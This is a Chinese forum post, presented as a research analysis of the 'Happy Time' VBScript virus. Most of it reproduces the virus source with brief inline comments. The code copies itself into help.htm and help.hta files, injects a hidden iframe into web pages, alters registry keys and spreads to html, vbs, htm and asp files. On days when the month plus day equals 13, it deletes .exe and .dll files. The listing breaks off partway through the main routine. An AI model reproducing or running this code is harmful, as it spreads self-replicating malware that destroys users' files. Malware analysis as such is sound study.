欢乐时光病毒原码分析[1]

本贴内容只用于研究，请看到者帮助他人删除windows的vbs脚本语言，该语言是重大安全漏洞！！！！！！
> <!--
> <script language='vbscript'>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
> rem i am sorry! happy time
> on error resume next
> mload                                ----------------------从mload开始罪恶的历程
> sub mload()                                 
> on error resume next
> mpath = grf()
> set os = createobject("scriptlet.typelib")
> set oh = createobject("shell.application")
> if ishtml then                        ----------------------如果本程序是网页，就是在outlook
> murl = lcase(document.location)
> if mpath = "" then
> os.reset
> os.path = "c:\help.htm"               ----------------------建立help.htm
> os.doc = lhtml()                      ------------调入全部源码
> os.write()                            ----------------------存储自身到help.htm
> ihtml = "<span style='position:absolute'><iframe src='c:\help.htm' width='0' height='0'></iframe></span>"
> call document.body.insertadjacenthtml("afterbegin", ihtml)
> else
> if iv(mpath, "help.vbs") then    
> setinterval "rt()", 10000
> else
> m = "hta"
> if lcase(m) = right(murl, len(m)) then
> id = settimeout("mclose()", 1)       ---------调用mclose
> main                                ----------------进入主程序
> else
> os.reset()
> os.path = mpath & "\" & "help.hta"        ------------建立help.hta文件
> os.doc = lhtml()
> os.write()
> iv mpath, "help.hta"
> end if
> end if
> end if
> else
> main      
> end if
> end sub
> sub main()                                      ----------------主程序
> on error resume next
> set of = createobject("scripting.filesystemobject")
> set od = createobject("scripting.dictionary")
> od.add "html", "1100"
> od.add "vbs", "0100"
> od.add "htm", "1100"
> od.add "asp", "0010"
> ks = "hkey_current_user\software\"              -----------------写注册表
> ds = grf()
> cs = gsf()
> if isvbs then
> if of.fileexists("c:\help.htm") then
> of.deletefile ("c:\help.htm")
> end if
> key = cint(month(date) + day(date))             ---------------注意：破坏动作
> if key = 13 then                                ---------------如果月日之和等于13
> od.removeall
> od.add "exe", "0001"                            ---------------删除.exe.dll文件
> od.add "dll", "0001"
> end if
> cn = rg(ks & "help\count")                      ------------修改注册表的计数器
> if cn = "" then
> cn = 1
> end if
> rw ks & "help\count", cn + 1
> f1 = rg(ks & "help\filename")
> f2 = fnext(of, od, f1)
> fext = getext(of, od, f2)
> rw ks & "help\filename", f2
> if isdel(fext) then
> f3 = f2
> f2 = fnext(of, od, f2)
> rw ks & "help\filename", f2
> of.deletefile f3
> else